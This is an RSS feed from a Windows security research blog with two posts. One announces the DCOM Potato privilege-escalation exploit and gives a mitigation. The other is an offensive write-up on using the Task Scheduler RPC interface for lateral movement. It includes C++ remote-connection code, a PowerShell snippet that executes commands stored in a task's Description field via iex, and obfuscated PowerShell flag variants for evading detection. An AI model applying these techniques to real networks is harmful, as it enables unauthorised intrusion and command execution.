<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>草泥马之家</title><link>http://www.zcgonvh.com/</link><description>Windows与.Net.....</description><item><title>DCOM Potato</title><link>http://www.zcgonvh.com/post/DCOMPotato.html</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;去年猫猫托梦带来的洞，两个EXP原理一样，只有服务不同，所以存在一些微小的差别。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;漏洞原理是`McpManagement/PrinterNotify`这两个服务通过`svchost`托管，并公开了自己的DCOM对象。svchost有个特性，在[注册表](&lt;a href=&quot;https://www.geoffchappell.com/studies/windows/win32/services/svchost/process/index.htm&quot; target=&quot;_self&quot;&gt;https://www.geoffchappell.com/studies/windows/win32/services/svchost/process/index.htm&lt;/a&gt;)可以配置自定义的`ImpersonateLevel`，这个值会传递给`CoInitializeSecurity`，从而更改所有远程`IUnknown`默认对外连接的模拟等级。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;默认安装的情况下有且只有这两个服务配置了ImpersonateLevel，且均为`RPC_C_IMP_LEVEL_IMPERSONATE`：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#after&amp;nbsp;12r2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&amp;nbsp;NT\CurrentVersion\Svchost\print@ImpersonationLevel

#2022&amp;nbsp;only
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows&amp;nbsp;NT\CurrentVersion\Svchost\McpManagementServiceGroup@ImpersonationLevel&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以只要自己实现一个COM对象，在`IUnknown::QueryInterface/Release/Addref`中直接调用`CoImpersonateClient`，就能捕获到一个`SecurityImpersonation`等级的token，之后创建进程什么的就随意了。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;核心技巧都是六七年前的东西，取Token可以认为是James Forshaw 15年那个祖传的`CaptureImpersonationToken.cpp`翻版；`PrinterNotify`服务20年decoder-it也提到过，只不过他们对DCOM理解不够深，还局限在`UnmarshalPwn`的思路上，没做这种利用；Token和模拟滥用就更古老了。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;当然了，微软一直认为“SeImpersonatePrivilege to LOCAL SYSTEM is a feature by design, not a security boundary”，安心用一段时间还是可以的。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;另致防御/应急/PR：“修补”方法是禁用没用的`PrinterNotify/McpManagement`服务，对服务器没有任何影响，哪怕它是个打印服务器。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;Github：&lt;a href=&quot;https://github.com/zcgonvh/DCOMPotato/tree/master&quot; _src=&quot;https://github.com/zcgonvh/DCOMPotato/tree/master&quot;&gt;https://github.com/zcgonvh/DCOMPotato/tree/master&lt;/a&gt;&lt;/p&gt;</description><pubDate>Fri, 09 Dec 2022 11:50:48 +0800</pubDate></item><item><title>Advanced Windows TaskScheduler Playbook - Part.3 from RPC to lateral movement</title><link>http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.3_from_RPC_to_lateral_movement.html</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 2em;&quot;&gt;0x00 问题&lt;/span&gt;&lt;/strong&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;书接上文，在对计划任务组件本机调用的跟踪与研究下，我们将`COM`、`UAC`、`ITaskService`进行了巧妙的结合，从而成功地找到了一个新的UAC Bypass，或者说一个新的攻击面。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;现在，不妨继续拓宽思路。回顾第一篇，我们在研究的开始确认了计划任务程序的本质为以`XML`为数据载体的`RPC`接口。按照微软的说法，`RPC`用于“跨进程间调用，不论进程是否在同一台主机上”。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以，基于`RPC`协议的计划任务天生可用来进行横向移动。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;当然，这并不是什么新技术，作为没在八月初猝死的那一批，我们已经再次狠狠地把玩了一番`atexec`、`schtasks`甚至更古老的`at.exe`。这些技巧无一例外利用了计划任务组件RPC接口进行横向移动。在已知的利用方式中，我们可以通过在远程执行命令，写入文件，最终通过共享目录进行读取的方式完成回显；或是通过诸多无文件手段直接上线。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而在实战中，这些或多或少会遇到一些问题。例如文件回显的技巧可能面临共享无法访问、SMB协议不兼容等诸多非常规环境；除了环境限制的因素之外，对抗环境下更多时候还要面临“已知”带来的威胁：一个已知的攻击方式或手法，一定有对应的检测。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这也就进一步导致了一个很实际的问题：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;工具也好，武器也好，平台也罢，无论在理论环境下运行的多么完美，实战环境下总可能“不那么好用”。&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;探究新方法永远是对抗的第一课题。&lt;span style=&quot;text-indent: 2em;&quot;&gt;现在，&lt;/span&gt;&lt;strong style=&quot;text-indent: 2em;&quot;&gt;基于实战环境下的需要&lt;/strong&gt;&lt;span style=&quot;text-indent: 2em;&quot;&gt;，我们为自己找了一个新课题：如何实现更为稳定的横移回显/环境探测？&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;0x01 思考&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;安全研究绝不是盲目地解决问题。在这里，我们的最终目的是探索一个（某些环境下）相对更好的横向移动技术，技术问题往往能够很容易的分解为多个递进的步骤，所以可以继续细化一些：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;横向移动存在哪些阶段？每个阶段中分别涉及哪些技术？每个技术细节存在哪些优劣？&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;顺着这样的思路来思考，就会带出下面的技术细节：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;横向移动需要连接到目标，在网络层面则表现为协议，那么第一个子问题就是：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;采用什么协议？&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;协议承载服务，非漏洞的横向移动本质上是服务功能的`滥用`，所以可以分解出第二个子问题：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;我们能够使用服务本身提供的哪些功能，来获取执行权限？&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;成功获取执行权限后，实战环境下往往需要一个结果反馈，我们得到第三个子问题：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;服务本身是否可以直接返回结果？如果不支持，那么需要额外采用哪些手段？&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后，则是实战环境经久不衰的老问题：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;上述方式实现是否存在已知的特征？&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;将上述阶段串联起来，就是我们期望进行的完整流程。这个思路可以用`反序列化链/ROP`做对比，我们把整个步骤视作`Chain`，每一步中任意实现均视作独立且可连接的`Gadget`，对抗点视作`黑名单`，结合已知的知识，很容易得到类似这样一个简单&lt;span style=&quot;text-decoration: line-through;&quot;&gt;且不完善&lt;/span&gt;的表格：&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;协议&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;服务&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;执行&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;返回&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;对抗点&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;SMB&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;ATSVC&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;命令&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;文件共享&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;cmd /c重定向、文件落地&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;SMB&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;SRVSVC&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;服务&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;文件共享&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;cmd /c重定向、文件落地&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;RPC/DCOM&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;WMI&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;命令/服务&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;文件共享/注册表&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;266&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;cmd /c重定向、SMB依赖、流量UUID&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;看，威胁情报和安全研究串起来了，Web和对抗也有了联系。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;考虑到我们正在研究计划任务，那么随之思考：&lt;strong&gt;计划任务能否做到这一点？&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;根据我们前两篇文章的研究结果，不难回答这一问题：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;1.`MS-TSCH`基于`RPC`，无法关闭且多数情况下允许访问。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;2.`ExecAction`提供无限制的命令执行，写入文件与注册表后，`ComHandlerAction`提供无限制的代码执行。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;3.协议内部通过`UTF-16`编码，将`完整的`XML定义以`原样`传输至客户端。其中`Description`元素可`无限制`放置任何`字符串`内容。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/09/202209281664315498196203.png&quot; title=&quot;3-1.png&quot; alt=&quot;3-1.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;4.流量层面仅能够通过`UUID`捕获握手包，直接报警/阻拦可能影响服务器管理；主机层面进程链全部为`白名单`；`ExecAction`不支持输出重定向所以需要`无文件`手段；`ComHandlerAction`需要无文件手段或其他方式`写入文件`及`注册表`。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以我们的表格可以添加下面并列的两项：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr class=&quot;firstRow&quot;&gt;&lt;td width=&quot;113&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;协议&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;145&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;服务&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;134&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;执行&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;129&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;返回&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td width=&quot;255&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;对抗点&lt;/span&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width=&quot;113&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;RPC&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;145&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;T&lt;/span&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;SCH&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;134&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;命令&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;129&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;原生协议&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;255&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;流量UUID、无文件攻击检测&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td width=&quot;113&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;RPC&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;145&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;T&lt;/span&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;SCH&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;134&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;命令&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;129&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;原生协议&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td width=&quot;255&quot; valign=&quot;top&quot; style=&quot;word-break: break-all;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;&lt;span style=&quot;text-indent: 28px;&quot;&gt;流量UUID、文件注册表落地&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;考虑复杂度，基于无文件的`ExecAction`显然优于需要大量落地的`ComHandlerAction`。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以，我们的问题从`横向移动`顺理成章地转换为`无文件攻击对抗`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而这项至少十年的技术利用方式非常成熟，变换手段非常多样化，也就意味着我们拥有很多顺畅的实现方式。在当前场景下，我们需要利用无文件攻击执行命令或进行信息探测，并在随后修改计划任务信息作为返回。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;显然，各种基于脚本形式的无文件攻击都能做到这一点，例如`mshta`、各种形式的`sct`与`xslt`、`cmd`、以及`PowerShell`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;首先排除`cmd`；其次，考虑到前几种基于Windows脚本宿主（`Windows Script Hosting`）的技术需要对外发起http或smb请求，而文件落地又容易引起某些不必要的问题。所以，通过命令行实现完整脚本功能的`PowerShell`成为首选。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;0x02 实现&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;确认了技术要点，实现起来就完全没难度了。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;首先，我们参考前两章的内容，无论是照抄`MSDN`示例、自己编译`IDL`、使用`C# Interop`等等均可直接实现连接至远程目标，要做的无非是在使用RPC时指定正确的`Binding`，并调用`RpcBindingSetAuthInfoEx`：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-cpp&quot;&gt;_SEC_WINNT_AUTH_IDENTITY&amp;nbsp;identity&amp;nbsp;=&amp;nbsp;{&amp;nbsp;0&amp;nbsp;};
LPWSTR&amp;nbsp;domain&amp;nbsp;=&amp;nbsp;L&amp;quot;ROOT&amp;quot;;
LPWSTR&amp;nbsp;username&amp;nbsp;=&amp;nbsp;L&amp;quot;administrator&amp;quot;;
LPWSTR&amp;nbsp;password&amp;nbsp;=&amp;nbsp;L&amp;quot;P@ssw0rd&amp;quot;;
identity.Domain&amp;nbsp;=&amp;nbsp;(unsigned&amp;nbsp;short*)domain;
identity.DomainLength&amp;nbsp;=&amp;nbsp;lstrlenW(domain);
identity.Flags&amp;nbsp;=&amp;nbsp;SEC_WINNT_AUTH_IDENTITY_UNICODE;
identity.User&amp;nbsp;=&amp;nbsp;(unsigned&amp;nbsp;short*)username;
identity.UserLength&amp;nbsp;=&amp;nbsp;lstrlenW(username);
identity.Password&amp;nbsp;=&amp;nbsp;(unsigned&amp;nbsp;short*)password;
identity.PasswordLength&amp;nbsp;=&amp;nbsp;lstrlenW(password);
RpcBindingSetAuthInfoExW(hBinding,&amp;nbsp;0,&amp;nbsp;RPC_C_AUTHN_LEVEL_PKT_PRIVACY,&amp;nbsp;RPC_C_AUTHN_WINNT,&amp;nbsp;&amp;amp;identity,&amp;nbsp;0,&amp;nbsp;(RPC_SECURITY_QOS*)&amp;amp;qos);&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;或是在调用`ITaskService::Connect`时指定凭据:&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-cpp&quot;&gt;pService-&amp;gt;Connect(_variant_t(L&amp;quot;Target&amp;quot;),&amp;nbsp;_variant_t(L&amp;quot;administrator&amp;quot;),_variant_t(L&amp;quot;ROOT&amp;quot;),&amp;nbsp;_variant_t(&amp;quot;P@ssw0rd&amp;quot;));&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;span style=&quot;text-decoration: line-through;&quot;&gt;（体会到`抽象`和`透明`的好处了么）&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;其次，PowerShell提供了针对计划任务的完整对象模型，并提供了`Get-ScheduledTask`、`Set-ScheduledTask`等一系列`Cmdlet`进行操作。我们甚至不需要参考msdn，仅根据本地的cmdlet帮助文档就可以写出类似这样的脚本：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-powershell&quot;&gt;$task=Get-ScheduledTask&amp;nbsp;-TaskName&amp;nbsp;TestTask&amp;nbsp;-TaskPath&amp;nbsp;\;
$task.Description=(iex&amp;nbsp;$task.Description|out-string);
Set-ScheduledTask&amp;nbsp;$task;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在这段脚本中，我们通过`Get-ScheduledTask`获取到远程操控的对象，通过`iex`执行`Description`中保存的命令，考虑到PowerShell一切返回均为对象，所以采用`out-string`将结果转换为可读的字符串，最后进行保存。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;Gadget思想的一个重点在于：如果gadget没错，将gadget串联的逻辑也没错，那么最终的结果一定是正确的。所以接下来，我们只需要创建一个计划任务，将`XML`的`/Task/RegistrationInfo/Description`元素内容设置为要执行的命令，将名称设置为`TestTask`，将命令行指定为上面的PowerShell命令，运行这个计划任务，`Description`将变为命令结果。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/09/202209281664315707875014.png&quot; title=&quot;3-2.png&quot; alt=&quot;3-2.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;最后只要读取XML的内容，匹配出`Description`内容即可。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;var&amp;nbsp;xd=new&amp;nbsp;XmlDocument();
xd.LoadXml(task.Xml);
Console.WriteLine(xd.SelectSingleNode(&amp;quot;/*[local-name()=&amp;#39;Task&amp;#39;]/*[local-name()=&amp;#39;RegistrationInfo&amp;#39;]/*[local-name()=&amp;#39;Description&amp;#39;]&amp;quot;).InnerText);&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;strong&gt;0x03 打磨&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;通过上面思考至落地的过程，我们有了一个可执行、有效果的技术原型，接下来进行打磨，使之更贴近实战“武器”的状态。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;首先，我们利用`ExecAction`创建计划任务，这意味着需要使用命令行传参，所以最好使用`-EncodedCommand`。这实际上和`opsec`无关，主要目的是为了处理转义可能带来的一系列问题。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在对抗层面，我们知道PowerShell处理参数的逻辑是`根据前缀`执行`不区分大小写`的匹配，所以实际上`-EncodedCommand`除了常见的`-e`和`-enc`，还有类似以下几万种写法：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;-eN
-eNCo
-Encode
....&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;计划任务在后台运行，所以最好加上`-NonInteractive`，同样的，这个参数也有以下几万种写法：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;-nonInt
-nOnInTe
